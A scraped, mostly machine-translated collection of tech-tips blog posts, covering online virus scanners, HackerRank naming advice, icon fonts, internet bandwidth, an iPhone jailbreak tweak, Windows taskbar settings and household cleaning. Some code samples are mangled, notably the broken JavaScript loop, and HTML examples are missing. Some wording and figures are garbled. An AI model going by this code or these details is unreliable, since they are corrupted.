virus scan with url on Drweb.com:\n+ Click the link: https://online.drweb.com/?url=1 -\u0026gt; the web interface displays the url address -\u0026gt; click Scan:\n  + Results after scanning:\n  4. Scan online viruses at: https://www.metadefender.com/#!/scan-file - Metasacn Online is quite special, it supports the following features:\n+ Scan file: ANALYZE A FILE.\n+ Hash: LOOK UP A HASH.\n+ Scan IP address: SCAN AN IP ADDRESS.\n- Metasacn Online supports scanning files up to 140MB with 43 malwware blockers.\n- Using Metasacn Online is quite simple:\n+ Access the link: https://www.metadefender.com/#!/scan-file -\u0026gt; display web interface -\u0026gt; Select features to scan, for example here select file scan:\n  + Click on Select a File to select the file to be scanned for viruses:\n  + You take a few minutes waiting for processing:\n  + The results are very detailed and clear:\n  5. Scan for viruses online: http://quetvirus.vn/ - QuetVirus.vn is a product of BKAV that supports file scanning, link scanning, url and MD5 scanning.\n- QuetVirus.vn supports scanning files up to 20 MB.\n- Using quetvirus.vn is very simple, go to the website: http://quetvirus.vn/ -\u0026gt; interface to display scanning options for example here select data file scan -\u0026gt; click Select File selection file to scan:\n  + After selecting the file to be scanned -\u0026gt; click File Scan to perform virus scan:\n  Above is a detailed introduction of the top 5 best online virus scanning websites. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jG5kqKacnrumedWiqa6rXaiworrNoqWgZaear7S1056qZqeeobavsQ%3D%3D\n","link":"/post/top-5-online-virus-scanning-websites-online/","section":"post","tags":null,"title":"Top 5 Online virus scanning websites online"},{"body":"The Mini Toolbar and Live Preview feature were first introduced in Word 2007 , and continue to be used in Word 2010 and Word 2013 versions.\n  \nThese 2 features help users quickly set up formats and preview formatting settings during text editing. However, if these two features annoy you, you can turn them off easily. Please refer to the following instructions.\nStep 1: In the current editing interface, click \"FILE\"\n  \nStep 2: Find the \"Options\" option\n   \nStep 3: In the Options dialog box that appears, click on the \"General\" setting group and navigate to the \"User Interface options\" setting group. Here, depending on the target, you will have the option to turn off Mini Toolbar or Live Preview by removing the checkmark before each option. Then click \"OK\" to save the settings.\n  \nncG1vNJzZmismaXArq3KnmWcp51kwba%2BzWamn55dqbWmecyipaJlpKS8ra7Aq2SappRiuarCxGanq52mnrK4ecWemK2toprAbrXNZq6oqpRif3F9kg%3D%3D\n","link":"/post/turn-off-the-mini-toolbar-and-live-preview-features-in-word-2013/","section":"post","tags":null,"title":"Turn off the Mini Toolbar and Live Preview features in Word 2013"},{"body":"What is HackerRank? HackerRank is a platform for practicing code, according to its founders, where developers from all over the world gather to solve scientific problems. computers such as algorithms, machine learning, artificial intelligence as well as practice various programming models such as functional-oriented programming.\nNot only that, HackerRank has gradually become a platform for companies and employers to test the candidate's coding skills. It's convenient to be able to learn to code and show results to employers in the same place at the same time.\nInterested in visiting HackerRank.com website to participate and learn to try offline.\nHowever, there are a few issues to keep in mind when practicing code on this platform, this is the advice of Devon Campbell, a web developer from Seattle, posted on the dev.to page that I have translated. again for you to read.\nNote when learning code on HackerRank function Rectangle(a, b) { }  This is the first line of a function that they ask you to write in 10 Days of Javascript. Write a rectangular object lying on the 4th day in 10 days. Most coders will use this first line and fill in the gaps between the marks {}. This is probably also what HackerRank expected.\nBy looking at this first line, you can understand that a is one side of the rectangle and b is the other side. If you read the article description, it is clear that a is the length of the rectangle and b is the width.\nWhy do you need a secret?\nBatman needs to keep his identity a secret because he often spends the night doing illegal things, even though it's a good thing, he can still be arrested. In order to be free and bring justice to others, he cannot let others know that he is Bruce Wayne.\nBut, a and b here do not need to keep their true identities secret (the length and width of the rectangle). In fact, all they will do in this function is the length and width of the rectangle. That means they don't need to be a and b . So why can't length be length (width in English) and width is width (width)?\nWhat are the harmful effects of that naming?\nIn this HackerRank exercise, you will only write a few lines of code. Not to mention the only two logical parameters for creating a rectangle are its length and width. You probably won't forget what a and b are in the code. However, not only do you read your code, there are others, and many of them may not know what a and b are.\nYou can feel the code is very concise and smart, and it seems that HackerRank does that very well.\nOK, but think a bit, in your work have you ever written an app, which program has so little code? If the application were 10,000 lines of code, each function had parameters with the letters a, b, c, d, e, the story would be very different. You can read and understand this code because you wrote it down, but if someone were to hand over this code from you they would probably have read it and cursed it inside.\nYou may think Devon is difficult or find the worst example on this platform to disparage. Of course, not every exercise on HackerRank uses obscure variable names, but there are many such exercises. Here is another example:\n'use strict'; process.stdin.resume(); process.stdin.setEncoding('utf-8'); let inputString = ''; let currentLine = 0; process.stdin.on('data', inputStdin =\u0026gt; { inputString += inputStdin; }); process.stdin.on('end', _ =\u0026gt; { inputString = inputString.replace(/s*$/, '') .split('n') .map(str =\u0026gt; str.replace(/s*$/, '')); main(); }); function readLine() { return inputString[currentLine++]; } // Complete the minimumBribes function below. function minimumBribes(q) { } function main() { const t = parseInt(readLine(), 10); for (let tItr = 0; tItr parseInt(qTemp, 10)); minimumBribes(q); } }  Many variables in the above code are not easy to understand, what is t , what is q , what is n , what is tItr . The main purpose that the author wants to say here is to just name the variable clearly, write. The code so that anyone who is new to reading it can imagine what this function does, what this variable is. Why do we need that?\nWriting code is for humans\nYou might think that the code is for computers. No, it is not. Code for humans. If it's computer-specific, we don't need high-level languages ​​like Javascript or Python.\nKeep this in mind when you write code: Write how others read the code you write that they understand. Variable names, parameters, and functions should contain as many contexts as possible to help readers understand what they have read.a is a very bad variable name. legnth is a good variable name and lengthInInches even better (if you expect the measurement is in inches). If the code changes, make sure you update the names given to reflect what they represent.\nBecause HackerRank is a big, reputable company, having a well-rated code on the platform also makes employers more interested.\nIt's just that, when you practice on HackerRank, train yourself the habit of restructuring terrible names of nonsense into a name that can convey the meaning and context necessary to read the code. When you work with projects off the ground, don't let obscure naming harm your code and earn you a reputation as an unreadable code developer.\nBy keeping in mind that writing code is something you can read later, you not only make it easier for other developers to work with you, but also make customers want to hire you and introduce you. with other companies that need your help.\nThere was a funny comment below that: When I got into the business I was told, \"How to code the guy in the can read and understand\" and \"Imagine the person who inherits your code is a tall guy. Hot temper, knowing where you are \"(If he doesn't understand, he will come to your house and give you a match - a translator).\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWYlrCssdGrmKejXam2sb%2BMsJ%2Bepl2fvKq6yKeeZqCRmLimvtGapaQ%3D\n","link":"/post/what-is-hackerrank-tips-when-joining-hackerrank/","section":"post","tags":null,"title":"What is HackerRank? Tips when joining HackerRank"},{"body":"You've certainly heard about icons and fonts, so what is Font Icon? Today, we will introduce readers to Icon Font definition, why it became so popular and how to use it to make your website more vivid. Let's get It Started.\n8 \"recognition\" fonts used on applications or websites 2 simple ways to install Google Fonts on Windows 10 What is Font icon? Icon Fonts are essentially the same as regular fonts - they define the look of a piece of text. However, the big difference between these two fonts is that the Font Icon does not contain letters and numbers, except for icons and icons. You may be confused and wonder what an interesting font that cannot be used to write letters and numbers.\nIcont font is mainly used to create style for the website. Because they are based on vector icons, they can be resized, moved, styled and changed using CSS. This provides a great advantage over traditional design methods like images. The interface of a large number of icons can be changed with just a few lines of code. You don't need to edit any image, open Photoshop or upload new files, just write code.\nThe advantage of Icon Font is to reduce the number of HTTP Requests, help your website load faster and easily change the color and size of the icon.\nHow to create Font Icons I will use Font Awesome for these examples, you can also apply them to other font packages.\nStart with the following HTML file:\nMUO Icon Fonts  This is the minimum amount of HTML needed to create a website. However, the most important command line is:\n\u0026nbsp; This will load the Font Awesome stylesheet from its CDN. Without this command, your website will not know what Font Awesome is, so this command is very important. This stylesheet will handle all the hard work of embedding web fonts and making things easier.\nFont Awesome icons are defined by CSS classes (CSS class) added to the i tag. They are chosen because they have no browser or default styles attached to them, so your icons will not be cluttered. Alternatively, you can add classes to the span tag, however this will upset your HTML.\nHere is the basic usage. Put it inside your body card:\nMy First Icon  It looks like this:\n  There are two classes needed for Font Awesome to work. The first class called fa, stands for Font Awesome. This class is required for all icons, regardless of which icon you use. The second class specifies the specific icon you want to use. This class is also a prefix of fa and because it is a jagged symbol, it is called a fa-cog. You can see a list of all the icons in Font Awesome on their website.\nTry changing the icon from cog to anything else.\nFind out more Once you know the basics, it's time for us to learn more.\nIf you don't want to write your own CSS, you can use the built-in styles in Font Awesome. You can use multiple classes to make larger icons:\n\u0026nbsp;   You can use another useful class, which is fa-spin. This class will make your icons rotate and when combined with previous classes, you can create some nice effects. Here is the code:\n\u0026nbsp; After entering the code, you will get the result as shown:\n  It's easy to rotate icons - use class fa-rotate:\n\u0026nbsp; The number at the end defines the rotation for the icon but cannot be moved. You are limited to 90, 180 or 270 degrees.\n  The last trick you can do is to stack the icons on each other. The fa-stack class allows you to combine two or more icons together. Here is the code:\n\u0026nbsp; After entering the code, you will get the following result:\n  When you start to combine all classes together, creativity is truly endless.\nCustomize CSS Because Icon Fonts are just fonts, you can format them with CSS like any other element. Use CSS3 to create moving icons:\n  Here is the HTML for the icon above:\n\u0026nbsp; This is CSS:\n@keyframes move { from { margin-left: 0; } to { margin-left: 400px; } } .bike { animation-name: move; animation-duration: 4s; }  This CSS is quite basic but brings great impact.\nYou can create something special if you want:\n  This will repeat a bit to reduce the file size on the site. Here is the HTML:\n\u0026nbsp; Here is CSS:\n@keyframes fade { from { opacity: 0; } to { opacity: 1; } } .person { opacity: 0; animation-name: fade; } #p1 { color: red; animation-duration: 2s; } #p2 { color: orange; animation-duration: 4s; } #p3 { color: green; animation-duration: 6s; } #p4 { animation-duration: 8s; }  Like the previous example, this example uses CSS3 effects. An effect with a fade name is created and each icon performs this effect with different time. You can get creative with those icons and CSS3.\nThat's all I want to recommend today. Now, you can use Font Icons to make your web pages more lively.\nWhat is your favorite Font icon? Did you find this article useful? Let us know by commenting below!\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWZmLyvecWopa1lkaOxbrTOsGStp12Yv6at055kopufo3qnu82t\n","link":"/post/what-is-icon-font-and-how-to-create-icon-font/","section":"post","tags":null,"title":"What is Icon Font and how to create Icon Font"},{"body":"Critical thinking ( Critical Thinking , or also known as Critical Skill ) is a thinking process related to the ability to judge logic and reasoning, to arrange information to solve those problems. Clear and concise way. Currently, critical thinking increasingly plays a practical role in both work and life, such as using this skill will help each person determine which priorities should be prioritized to achieve the goal. or have a more right perspective on every situation that happens, avoiding making wrong, hasty and inadequate decisions.\n  Critical thinking is not a back desk. People who talk backward are often not for the collective purpose but only for their personal ego and yearning for ideas. At the same time, with regard to the problems that are suggested, they also do not have a firm foundation or opinion to protect them.\n\"I find that your opinion is good, but something is not right\" (but I'm not sure what is wrong). \"I think that what we achieve is not worthy of potential\" (but if I do it again, I don't know how to do it better). \"I think this way of doing it will not go anywhere\" (but I don't know the reason and I have not found another way). \"I think his opinion lacks a solid basis\" (but I can't give another opinion). \"I think we need a safer solution for this situation\" (but I haven't thought of a solution yet). Signs you have good critical thinking skills Observation ability: Look and understand, but not simply see the features on the outside but understand the nature of things, phenomena and problems that ordinary people can hardly recognize.\nCurious and proactive in finding answers: Always question why before every problem but not just ask, on the contrary, actively find the most appropriate solution to that problem.\nAlways in doubt: It's not easy to believe the words of strangers and people who don't trust themselves. Conversely, always scrutinize the problem before making a decision.\nLogical thinking: Ability to connect, string ideas together to find answers and solve problems.\nObjectivity: Analyzing and assessing problems based on the facts found, not putting the \"ego\" seriously.\nGood decision making skills: Including problem detection, causes, solutions and implementation.\n  18 useful websites to practice critical thinking skills Critical thinking is very useful now if you want to become a leader, researcher, scientist, manager, stock investment, finance and anyone who wants to own this skill to master better control and control all aspects of life. Here are 18 websites for you to practice your critical thinking skills every day.\n1. Lifehacker: Learn everything from many angles.\n2. Library of Congress: Online knowledge library.\n3. Boundless: Free online book library.\n4. Inc.edu: Website useful for startups.\n5. Google World Wonders: Explore the ancient and modern world with lots of useful resources.\n6. TED Talks: Learn shared knowledge from experts and see how they present problems to protect their opinions.\n7. Reddit Lectures: A collection of top lectures from experts, academia, government and leaders.\n8. UReddit: Courses in art, computer science, language, math, statistics and more.\n9. Internet Sacred Text Archive: A series of free books on religion, beliefs, folk literature, myths, alchemy .\n10. MeetUp: Learn experiences, share what you turn and consider issues on new fronts.\n11. Trivium Education: Where you learn to use rhetorical, grammatical and logical judgments.\n12. HubSpot Academy: Marketing portal, SEO, goods, advertising . for anyone interested.\n13. University of the People: Non-profit organization with free courses in business administration, computer science and health.\n14. PBS Video: Free, extensive documentary films.\n15. Project Gutenberg: Over 50.00 literary works.\n16. Pocket: Save articles, videos and many other useful educational content for offline reading.\n17. MIT Open Courseware: Ideal computer program courses for beginners and startups.\n18. FutureLearn: Free online courses come from more than 40 universities.\nncG1vNJzZmismaXArq3KnmWcp51kfnl5xqucmqxdrLKjv8itnKxlpKR6qbHLqWSyp6VivbOtwq2gnJ1dmL%2BqwMicmKVlpJ22r7fIp55mq5ueua2%2F\n","link":"/post/18-great-websites-to-help-you-practice-critical-thinking-skills/","section":"post","tags":null,"title":"18 great websites to help you practice critical thinking skills"},{"body":"Zanco Tiny T1 is the smallest phone in the world with the size of 46.7 x 21 x 12mm just as big as a thumb and weighs only 13g, lighter than a coin. Kickstarter creates Tiny T1 with the purpose of 'profile' when your phone is broken or lost.\nAccording to the manufacturer, Tiny T1 is equipped with 32GB internal memory, 200mAh battery can operate 180 consecutive calls or 3 days in standby mode, support 2G, Bluetooth and support charging via microUSB port. Tiny T1's 0.49-inch OLED display can display text with 64 x 32 pixel resolution.\n  Zanco Tiny T1 has a selling price of 52 USD (about 1.2 million VND).\nJerryRigEverything made a test on Tiny T1 to know the durability of the smallest phone in the world.\nWith a scratch test, from the side of the device to the Tiny T1 key, it is easily scratched just after a few operations by the machine design material is mainly made of plastic.\n  And the screen couldn't avoid the disastrous outcome.\n  In the fire test, when there is a heat effect, the screen of the machine even shows signs of contracting. Although it can still be displayed, the image on the screen is no longer clear.\n  Finally, the bending test, the frame structure is quite good, so the bending is quite difficult.\n  Please follow the test details in the video below:\nSee more:\nRanking the 10 most quirky Android phones in history Which smartphone has the best battery life today? The cult phone Palm was about to be 'revived' once. Top 10 ugliest phones of all time ncG1vNJzZmismaXArq3KnmWcp51ksKmxwqRkraCVYrG2vsCboKWhpK56sLKMrZ%2BeZaOirq24xKyrZqiYpLumecinZK2glWLEsL7LnWSappRiwq%2Bx16mcnKyVmXqzsdKuo62r\n","link":"/post/check-the-durability-of-the-smallest-phone-in-the-world-and-unexpected-results/","section":"post","tags":null,"title":"Check the durability of the smallest phone in the world and unexpected results"},{"body":"Today, with the development of technology, the speed of network systems such as fiber and 5G can easily reach gigabit per second.What a great information for those who are always interested in the download speed of the network.But in fact, how much bandwidth do we really need?Even the countries with the best Internet connectivity in the world, their networks are only stable at 15 to 50 Mbps and for the daily needs of most common users, this number basically enough.Still knowing people's natural desire is always \"more than better\" and that is the driving force of development, but do we really need a network with download speeds up to hundred megabits per second?\nCalculate Internet speed   \nFirst of all, the important thing is that we need to understand the basics of the following terms:\nMbps (Mb / s)\n  \nThis is one of the most misunderstood acronyms.Mbps refers to megabits per second (not the megabyte as many people think).A megabit cannot be equal to one megabyte.Theoretically one byte is equal to 8 bits, so if you are downloading one MB (megabyte) of files at one Mbps (megabits per second), it means this file will take eight seconds to download.The same is Gbps (one gigabit per second), in which one gigabit equals one eighth of a gigabyte.\nBandwidth Imagine a highway.The bandwidth is the width of the highway, the number of cars that can 'fit' into the road at the same time will be equivalent to the maximum number of megabits you can download every second.In short, you don't buy Internet speeds from service providers, you buy bandwidth.\nFlux Based on the above example, it is understandable that throughput is the number of vehicles actually circulating on the highway.The throughput cannot be greater than the bandwidth you have available.\nSpeed Finally, \"speed\" is a quite subjective combination of many different factors.In other words to determine the actual speed at which you receive the data, many different factors need to be taken into account.Trying to run too much data through a limited bandwidth can also affect speed.Other factors also include distance, DNS server, hardware .\nHow do different activities use bandwidth?   \nWhen there are too many vehicles entering a route, the route will still be congested, and for Internet bandwidth, the problem is the same.If you want everything you require to appear on the screen, you'll need to make sure that your network has the necessary bandwidth to meet the data load capacity.\nAs a general rule for 2018, any bandwidth with speeds below 2 or 3 Mbps can feel slow if you perform heavier tasks than browsing the web, and any bandwidth with speed over fifty Mbps will not be significantly faster unless only a few people and some devices in the system are online at the same time.\nPlay online video : 3-25 Mb / sec   \nThis is probably the largest bandwidth that people use regularly.You can refer to the following table, this data is taken from Netflix and YouTube.\nVideo type\nBandwidth\nYouTube (low quality - 360p)\n0.7\nYouTube (720p)\n2.5\nNetflix (standard quality - 480p)\n3\nNetflix (HD quality - 1080p)\n5\nNetflix (ultra HD quality / 4K - 3840p / 4096p)\n25\n0.5 Mbps can help you comfortably watch most YouTube videos and 25 Mbps can help you download good 4K videos, as long as you do not perform any other tasks besides watch video.In general, about 5 Mbps is enough to give you a good video viewing experience, with no jerks, waiting for downloads.\nPlay online game: 1-6 Mb / s   \nA relatively common misconception is that multi-player online games often use a lot of bandwidth.However, the reality is that these games do not constantly send video back and forth, but only a little bit of data represents changes in the game (for example, when the player transitions for example).Everything else (like houses, cars) you see in the game is stored locally.Of course this depends on the game, but generally you won't need to download or upload multiple megabits for each game change.You should probably pay more attention to ping, because latency is the real problem with online games.\nVideo call: 0.3 - 8 Mb / sec   \nIf you work from home or use the video chat feature, you will probably use up some bandwidth, however, this number may not be as much as you think.You can have a low-quality Skype chat at 0.3 Mb / s and great at 1.5 Mbps.However, the more people participating in the call, the more download bandwidth you need to receive all the data from them.\nRegular web browsing, social networking and email usage: 1-3 Mb / s   \nUnless you have to browse the web with heavy images or files, just 1 - 3 Mbps will provide you with almost any HTML, text and image content with great speed.\nNumber of users and devices   \nA person who has a habit of streaming video online and two or three other devices is connected, maybe the bandwidth is still enough.However, as more people connect to the system, you will feel a significant decrease in speed, especially if all are online for a while or if they often perform heavy tasks.In addition, smart home devices and Internet-connected devices can also take up a lot of background data.\nsummary From a practical point of view, a connection of about 30 Mbps is relatively stable with the needs of the common user family.Even if the family does not use up 30 Mbps, it is not necessarily a waste.This speed can help your Internet to run well during congestion and during peak periods, in addition to being useful for times when you need to download large packets.\n  Of course, if conditions permit, why not equip yourself with a super fast Internet connection, you will get the best Internet experience.If conditions do not allow, you can refer to the information above to optimize your Internet bandwidth usage.\nSee more:\nInternet acceleration 20% faster in Windows Speed ​​up Internet connection on Windows 10 computers Video tutorial - How to check the speed of Internet connection on computers and laptops Network acceleration on Android with Internet Speed ​​Master ncG1vNJzZmismaXArq3KnmWcp51ktbDDjJ%2BYrKxdqLWwwcudZLKnpad6qrrTnqmnnaRisLC6zZ6araGfo3qjsQ%3D%3D\n","link":"/post/how-fast-should-your-internet-connection-be/","section":"post","tags":null,"title":"How fast should your Internet connection be?"},{"body":"In Pokemon GO game there are many different types of Pokemon, including rare creatures, very difficult to catch. In the article below, Network Administrator will guide you how to catch these rare Pokemon.\nDownload Pokemon GO for iOS devices here. Download Pokemon GO for Android devices here. How to catch Pokemon at all times   First try to get the circle around Pokemon, as small as possible before throwing Pokeball. The smaller the round, the harder it is for Pokemon to escape the ball.\nAnd if Pokemon escapes, just throw Pokeball, as much as possible before it runs away.\nThis helps you overcome the hands of low level players to easily catch rare Pokemon. However, for players at a higher level, they will have more choices. After reaching level 7, the player can collect Razz Berries from Pokestops, which can be fed with wild Pokemon to make them less likely to flee or escape from Pokeballs.\n  At level 10, players can access to get more energy for Pokeball in the form of Great and Ultra ball. Wild Pokemon (wild Pokemon) at all levels is hard to escape from these balls, so these balls are extremely useful to catch the most difficult to catch monsters.\n  To get better results, players can eat a Pokemon with a Razz Berry, then throw it at Pokeball at a higher level to make it harder to escape.\nWhen down the road, players will have many ways to catch Pokemon rarer. For example, after doing Pokemon exchange, players will basically be able to give each other Pokemon. Even a high-level coach can sell rare Pokemon so that a new player enters the same team in order to control the Pokemon gym in the area.\nRefer to some of the following articles: AZ word about eggs in Pokemon Go Summary - How to play Pokemon GO, virtual reality game catch Pokemon on smartphone Pokémon systems when fighting in Pokémon Go Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuRqbCpec%2Boop6ln6N6s63RnmSipl2lvKyxzKilZp%2Bf\n","link":"/post/how-to-catch-pokemon-rare-in-pokemon-go/","section":"post","tags":null,"title":"How to catch Pokemon rare in Pokemon GO"},{"body":"The color of the Control Center interface as well as the icons on the iPhone or iPad are simple, fixed colors and cannot be changed. If users want to refresh for the Control Center, they can install Magma tweak for jailbroken devices.\nAccordingly this tweak has a list of standard toggles on Control Center such as Wi-Fi, Bluetooth, flight mode, brightness, volume, rotation lock, non-disturbing mode, . and other shortcuts to change color for objects according to the user's liking. The following article will guide you how to change the color of the Control Center interface on iPhone.\nHow to adjust the Control Center iOS 11 interface How to customize the Control Center interface on iPhone How to fix errors cannot open Control Center on iPhone / iPad from Lock Screen How to add screen to Control Center on iPhone Instructions for adding color to the iPhone Control Center Step 1:\nTo install Magma tweak, go to Cydia and click on the source tab to add source https://apt.noisyflake.com/ . After adding the source, load Cydia again, then proceed to search for Magma tweak to install.\n    Step 2:\nAfter installation is complete, users open Settings and then click on tweak and proceed to adjust again. By default tweaking has been enabled for active mode. Below are the shortcuts on the Control Center that tweak Magma to support the icon color change. Support icons include:\nAirDrop Airplane Mode Bluetooth Cellular Data Personal Hotspot WIFI AirPlay Do Not Disturb Do Not Disturb (Car Mode) Flashlight Location Services Low Power Mode Mute Record Screen Rotation Lock Timer Display Brightness Volume     When clicking on each item, there is a color interface for us to choose to apply a new color.\n   Step 3:\nAfter the user selects the color click Respring to change to apply. Returning to the Control Center interface, users will see icons that change colors.\n   Magma tweaks do not change the color of Control Center modules that directly change shortcut icons or toggles on the interface. When the user clicks the icon, the color is also turned on in the selected color.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYlruosYytn55lmZi8r3nCqKOoql2WwW6vzqerq6ecYrCmutOeqWannmK2sbTOp5w%3D\n","link":"/post/how-to-change-the-icon-color-at-control-center-on-iphone/","section":"post","tags":null,"title":"How to change the icon color at Control Center on iPhone"},{"body":"\u0026nbsp;I've always groped my way through the task with a roll of dry paper towels in one hand and a wad of wet ones in the other. Turns out, I've been cleaning blinds wrong all these years.\nAfter reading some great tips from half a dozen online sources, I set out to put them to work, adding some of my own adaptations along the way.\u0026nbsp;\n All told, the entire process of cleaning one set of Venetian (horizontal) blinds on a moderate size bedroom window didn't take more than 15 minutes, and I'm happy enough with the results to ignore the blinds for the rest of spring. Your mileage may vary, depending on your level of tolerance to dust and how much naturally settles on your windows to begin with.\nRemember, if you're also planning to vacuum the room, do the blinds and other dusting first, and save the hoovering for last. Here's what I did.\u0026nbsp;\nPick up all your junk first Obvious as this may be, do not skip this step. Dust and dirt will rain down on any clothing, papers or other items on the floor under the window, even a fine layer. Put your stuff on the desk or bed, or better yet put it all away.\nIf the blinds are really dirty, consider covering your face The layer of crud on my blinds was light enough this time that I wasn't too worried about inhaling too many particles. You can help protect your lungs by donning a\u0026nbsp;face mask\u0026nbsp;or wrapping your nose and mouth in a scarf -- you can always throw it in the wash when you're done.\n  Clean dry, not wet My biggest mistake has been attempting to clean my plastic blinds wet, then follow up with dry paper towels. This creates a muddy mess that smears around the dirt. Damp paper towels do pick up much of the scum, and seem to help dissolve some of the dust in hard-to-reach corners. But when cleaned dry first, the work went faster and more effectively.\nHere's an exception: if your window blinds are heavily soiled, you may need an opposite plan of action than the one I outline below, like combinations of dish soap, vinegar and water solutions, or even taking your blinds down from the window and washing them in the tub. Wood blinds may also need a more specialized treatment.\nSecret weapon: Bring out the vacuum cleaner Yes, you can use a duster or microfiber cloth (more below), but the breakthrough method for me has been using the small duster attachment (the one with the brushes) on my vacuum cleaner. It makes quick work of a task that would normally take me at least three times longer when done by hand.\n  Clean in a zigzag pattern, one section at a time The general recommendation is to angle the blinds so you start with the concave part first (the side that usually collects more dust) and move from top to bottom so the dust will fall downward, and you can sweep it up as you go along.\nThis makes good sense, but to reduce pacing back and forth while taking things row by row, I worked my way down vertical section by section, divided by those support strings running the length of most blinds.\u0026nbsp;\nPick a side, top right or top left. Starting with one vertical section at a time, vacuum the top slat in one direction, say from left to right. When you reach the end of the slat, drag the vacuum down to the slat below, so you're starting on the right side of that slat and working your way left. When you're done with the second slat, drop the vacuum's duster head down to the third, picking up on the left side. When you've finished a section, start again from the top of the next one.\nIn the end, you're following a zigzag pattern that keeps the work moving along quickly, from section to section.\nNow do the other side When you're done with the one side, turn the rod to tilt the blinds the other direction and do it all over again. The dust was lighter on this side, so I wound up breaking the \"rules\" and vacuumed each section from top to bottom, working my way across in long swipes. (But you get cosmic brownie points for doing it the \"right\" way.)\nMicrofiber, socks and dusters work, too If you don't have a vacuum cleaner or a duster attachment, or just prefer to use something else, microfiber cloth seems to be the most universally accepted method. You can also use a fluffy duster on a wand or a specialized tool, such as a mini microfiber blinds duster, that has finger-like appendages to really get in there.\nI saw some DIY suggestions to make your own blinds duster by rubber banding sponges or microfiber cloths to the interior of a pair of kitchen tongs (one on each side), clamping it over a blind, and sliding it along to collect dust. Clever! You could even stick your hand in a sock, but that seems like more manual labor than I like.\u0026nbsp;\n  Get the rest of the grime out When I inspected the blinds in the light, I was satisfied enough with my efforts, but the grime in and on the windowsill nagged at me. I used the vacuum's dusting attachment to suck in as many particles as possible. Next I went for the dry paper towel because old habits die hard and I didn't feel like sacrificing a microfiber cloth, then I used the damp paper towel to get into the corners and dissolve more dirt. Not a perfect technique, but I got enough out to move on with my day.\nVacuum the floor, and then clean the brushes The last couple of steps involve using your standing, shop or handheld vacuum to pick up the dust particles hanging out on the floor, especially if you've got carpet. You can either shake or wipe off the bristles of the duster attachment over the trash to clean them or toss the whole attachment in the sink with some liquid handwash soap like I did, to soak a bit before rinsing and air drying.\nReward yourself Take a load off. You deserve it. I celebrated by writing this article while reclining on the couch.\nFor more household cleaning tips, learn the easy way to clean your shower head, keep mold from growing in your washing machine and sanitize your toothbrush from errant fecal particles (gross).\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpucmq6vedaipZ2np2KvrbXNnapmnpGowW7DyK2fqK2kYrCzscCtoKefXaOutMDYZqqloZ2aerC%2BjJ2srKxdmLmwwcOs\n","link":"/post/how-to-clean-window-blinds-fast-without-creating-nasty-slime-or-dust-clouds/","section":"post","tags":null,"title":"How to clean window blinds fast without creating nasty slime or dust clouds"},{"body":"Apple iOS 13.5 has launched and is one of the most important iOS updates ever released, because it adds the COVID-19 exposure detection feature.\nHowever, with the recent iOS 13.5 update, iPhone users have found an error with the content \"This app is no longer shared with you\" ( This application is no longer shared with you ) when trying to start run an application.\nThe error \"This app is no longer shared with you\" appears when trying to launch an application The original workaround is to completely delete the application and reinstall it. While this may prevent the problem from occurring, it also means that you could lose any data, such as game progress, in doing so.\nFortunately, iOS provides a way to reload an app without losing any saved data. Follow these steps to recover your application without losing anything. To illustrate this purpose, the article is using Candy Crush Saga .\n1. Open Settings and click on General.\nOpen Settings and click on General 2. Find and tap iPhone‌ Storage.\nFind and tap iPhone‌ Storage 3. Find and tap the application you need to reinstall.\nFind and tap the app you need to reinstall 4. Click Offload App.\nClick Offload App 5. Click Reinstall App to reinstall the application.\nClick Reinstall App to reinstall the application After that, the application will work again without losing any data.\nIf you do not know how to update iPhone, you can refer to: How to update iPhone to the latest iOS version to know how to do it.\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXq1tMisZJqooGK2tHnNqGSlp56csrN50qGYq52UYrKzvs6rZKenXZmuta2Mpaasqw%3D%3D\n","link":"/post/how-to-fix-this-app-is-no-longer-shared-error-no-data-loss/","section":"post","tags":null,"title":"How to fix 'This App is No Longer Shared' error, no data loss"},{"body":"The Taskbar on Windows 10 will take up a lot of screen space if you don't minimize it to optimize your workspace. Default on the Windows 10 Taskbar displayed in one line, but unfortunately you make them appear in multiple lines, what to do. In this article, Software Tips will guide you how to minimize the Taskbar on Windows 10 and make them as small as possible!\n  Step 1: you right click on the bar Taskbar and select Taskbar Settings to open the settings.\n  Step 2: In the Settings window , you proceed to turn off the Lock the Taskbar feature .\n  Step 3: Then, you can use the mouse to drag the border of the Taskbar to change the size of the Taskbar to be smaller.\n  If you want to move the Taskbar to other screen edges, you just need to click and drag them to different sides of the screen.\n  Step 4: When you have reduced the Taskbar and you still see them large in size, you proceed to optimize this way:\nYou Right-click the  Taskbar and choose Taskbar Settings to set.\n  Step 5: Then, you turn on the feature Use small taskbar bottons to minimize the size of icons and the Taskbar.\n  When the Use small taskbar bottons feature is turned on , our Taskbar will be smaller like this:\n  Step 6: To the applications on the Taskbar only display the icon but not the name of the application, you do the following.\nSelect the Always, hide labels feature in the Combine Taskbar Buttons section .\n  When the optimization is done, our Taskbar will display a tiny bit like the image below. So you have saved the space of the Taskbar and optimized the workspace on the screen better.\n  Step 7: When you are satisfied with the new Taskbar interface, right-click on the Taskbar and select Lock Taskbar to avoid being in the process of using us to edit the wrong Taskbar.\n  In this article, Software Tips guide you how to reduce the size of the Taskbar on Windows 10. Wish you success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqWZo7autdmeZK2glWLBor%2FKm5irZZ%2Bjeri1zZ2msKtdZn0%3D\n","link":"/post/how-to-minimize-the-taskbar-on-windows-10/","section":"post","tags":null,"title":"How to minimize the Taskbar on Windows 10"},{"body":"As with other online shopping apps, you need to log in to your Shopee account and use it, and often this account is created with a phone number for easy communication. And when logging in, if you forgot your Shopee account password, it is easier to get back with your phone number when using other accounts to login. To retrieve your Shopee account password you can follow the instructions below this article.\nPurchase experience on Shopee to avoid buying fake goods How to use Shopee to register online sales How to get discount code Shopee How to retrieve a Shopee password Step 1: In the Shopee account login interface, click Forgot, then enter the phone number you are using.\n   Next, there will be a verification code sent to your phone, if after 30 seconds, Shopee has not sent the code, please click Resend to receive the code, then click Verify.\nNext enter the new password and click Reset, Shopee's password will require 8 to 16 characters long, with an uppercase and lowercase letters and numbers.\n   In a few simple steps, you have reset your Shopee account password, 